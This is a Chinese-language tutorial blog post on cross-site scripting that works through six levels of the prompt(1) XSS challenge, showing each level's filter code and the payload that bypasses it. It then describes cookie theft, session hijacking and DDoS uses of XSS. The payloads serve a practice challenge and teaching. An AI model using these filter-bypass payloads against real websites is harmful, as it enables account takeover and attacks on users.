跨站腳本攻擊XSS(Cross Site Script)的原理與常見場(chǎng)景分析
前言
前段時(shí)間在網(wǎng)上看到一個(gè)網(wǎng)址,好奇之下進(jìn)去看了看。勝利的條件是你錄入一個(gè)串,讓其調(diào)用prompt(1) 。發(fā)現(xiàn)里面有好多想不到的東西,今天終于悠閑了來(lái)這里說(shuō)說(shuō)XSS。
XSS 原理
跨站腳本攻擊(Cross Site Scripting),為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁(yè)面里插入惡意Script代碼,當(dāng)用戶瀏覽該頁(yè)之時(shí),嵌入其中Web里面的Script代碼會(huì)被執(zhí)行,從而達(dá)到惡意攻擊用戶的目的。
XSS 常見場(chǎng)景
一些私人的博客,攻擊者惡意評(píng)論,彈出alert,這種充其量也就是一個(gè)玩笑。但是如果是盜竊cookie,異常提交請(qǐng)求,這些就比較難受了。
prompt(1)
chrome 版本 62.0.3202.75(正式版本) (64 位)
function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }
第一個(gè)
這是一個(gè)開胃菜,沒(méi)有做任何校驗(yàn),這種不設(shè)防的在現(xiàn)在已經(jīng)很少了。他把值直接拼入字符串,組成一個(gè)DOM input標(biāo)簽,那我們只要正確的把標(biāo)簽閉合掉就可以調(diào)用了。
"><script>prompt(1)</script>
,拼出來(lái)的字符串為<input type="text" value=""><script>prompt(1)</script>">
,這樣就等于插入了我們的代碼。
function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }
第二個(gè)
這個(gè)已經(jīng)提升難度了,/<\/?[^>]+>/gi匹配<>標(biāo)簽內(nèi)的所有東西,如輸入<script>prompt(1)</script>
轉(zhuǎn)換過(guò)后會(huì)出現(xiàn)prompt(1),內(nèi)容里面的標(biāo)簽被替換掉了。所以這個(gè)我們?nèi)L試不閉合標(biāo)簽,讓瀏覽器自己去容錯(cuò)。
<img src onerror="prompt(1);"
該方法通過(guò)img加載src失敗會(huì)調(diào)用onerror的想法。
function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }
第三個(gè)
這個(gè)就有點(diǎn)略坑了/[=(]/g把所以的=號(hào)和(號(hào)都替換掉了,這樣我們嘗試調(diào)用的時(shí)候就不能使用這些東西了。使用的方法是通過(guò)模板字符串的標(biāo)簽?zāi)0?,這個(gè)ES6的特性。 <script>prompt`1`</script>
看樣子我們這樣寫就可以了,但是為什么沒(méi)有生效呢?下面的圖可以看出來(lái),這樣的話傳入的是字符串,判斷是不通過(guò)的,所以我們要修改一下<script>prompt.call${1}</script>
,這樣就可以跑過(guò)驗(yàn)證了。(話說(shuō)markdown如何在``里面寫``)
function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }
第四個(gè)
這個(gè)看上去是把你寫的內(nèi)容都放在了html的注釋語(yǔ)句里面,并且用/->/g替換了一把。我想到的方案有條件注釋,但是條件注釋這是IE的東西,我們就先不測(cè)試了。
--!><img src onerror="prompt(1);"
使用這個(gè)可以關(guān)閉
function escape(input) { // make sure the script belongs to own site // sample script: http://prompt.ml/js/test.js if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }
第五個(gè)
這個(gè)是通過(guò)偽造url,我們使用的是訪問(wèn)帶有用戶名、密碼保護(hù)的 URL來(lái)偽造。
http://prompt.ml%2f@urlurl
為一個(gè)網(wǎng)絡(luò)地址引用的js,內(nèi)容為prompt(1)。本來(lái)想嘗試一下data:text/html,<html><script>prompt(1)</script></html>
但是沒(méi)有成功,然后javascript:;
和about:blank
也沒(méi)有通過(guò),挺失落。
function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }
第六個(gè)
/>|on.+?=|focus/gi
替換了>、onxxxx=和focus。通過(guò)input特殊的type類型。
`"type=image src onerror
="prompt(1)`
通過(guò)xss能做的事情
有很多,絕大多數(shù)的網(wǎng)絡(luò)攻擊行為都是把xss作為漏洞鏈中的第一環(huán)。通過(guò)xss,黑客可以得到的最直接的利益就是拿到用戶瀏覽器(或者一些類瀏覽器app)的cookie。由于目前web系統(tǒng)中實(shí)現(xiàn)session的辦法主要是cookie,所以一旦黑客拿到了用戶的cookie,就可以劫持用戶的session,從而變相達(dá)到盜取用戶賬號(hào)的目的。
xss也使黑客可以以受害用戶的ip地址向其他站點(diǎn)發(fā)起web攻擊,因?yàn)橐磺械墓裟_本都可以借受害用戶的瀏覽器執(zhí)行。
以這樣的方式,將xss配合起csrf、sql注入等漏洞可以在短時(shí)間內(nèi)對(duì)一個(gè)服務(wù)器發(fā)起大量攻擊,并且服務(wù)端無(wú)法將攻擊ip封死,因?yàn)閕p是成百上千的xss受害者的ip。
2015年github遭遇的大規(guī)模DDOS,實(shí)際上就是黑客以某種方式把而已腳本植入到“熊場(chǎng)”的廣告聯(lián)盟iframe中,從而對(duì)github的某些接口實(shí)施攻擊,最終達(dá)到DDOS的效果。
另外,持久性xss的傳播性極強(qiáng),由于web的特點(diǎn)是輕量級(jí)、靈活性高,每個(gè)用戶每天都可能訪問(wèn)很多web站點(diǎn),每個(gè)web站點(diǎn)每天都有成千上萬(wàn)的來(lái)訪。所以將xss攻擊配合起一些系統(tǒng)內(nèi)核級(jí)的漏洞,完全可能在幾個(gè)小時(shí)之內(nèi)擊垮幾百萬(wàn)臺(tái)智能設(shè)備。
如今的xss
相比網(wǎng)上很多資料中,在技術(shù)上已經(jīng)發(fā)生了很大變化。由于各大網(wǎng)站加強(qiáng)了對(duì)于js腳本、html標(biāo)簽等關(guān)鍵信息的過(guò)濾,單純依靠植入javascript代碼很難實(shí)施攻擊。
PC端頁(yè)面,一些視頻類、頁(yè)游網(wǎng)站存在大量的flash內(nèi)嵌在頁(yè)面中,可以嘗試將flash代碼植入,往往可以規(guī)避網(wǎng)站安全過(guò)濾。移動(dòng)端頁(yè)面,可以植入native代碼(android系統(tǒng)植入java,ios系統(tǒng)植入oc)。
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問(wèn)大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
相關(guān)文章
網(wǎng)絡(luò)安全中SRC驗(yàn)證碼繞過(guò)思路總結(jié)
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全中SRC驗(yàn)證碼繞過(guò)思路總結(jié),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-05-05Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解
這篇文章主要為大家介紹了Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-08-08網(wǎng)站中的隱形WebEditor文件上傳漏洞補(bǔ)丁
這篇文章主要介紹了網(wǎng)站中的隱形WebEditor文件上傳漏洞補(bǔ)丁2007-02-02七個(gè)絕招應(yīng)對(duì)網(wǎng)上銀行盜賊
七個(gè)絕招應(yīng)對(duì)網(wǎng)上銀行盜賊...2006-09-09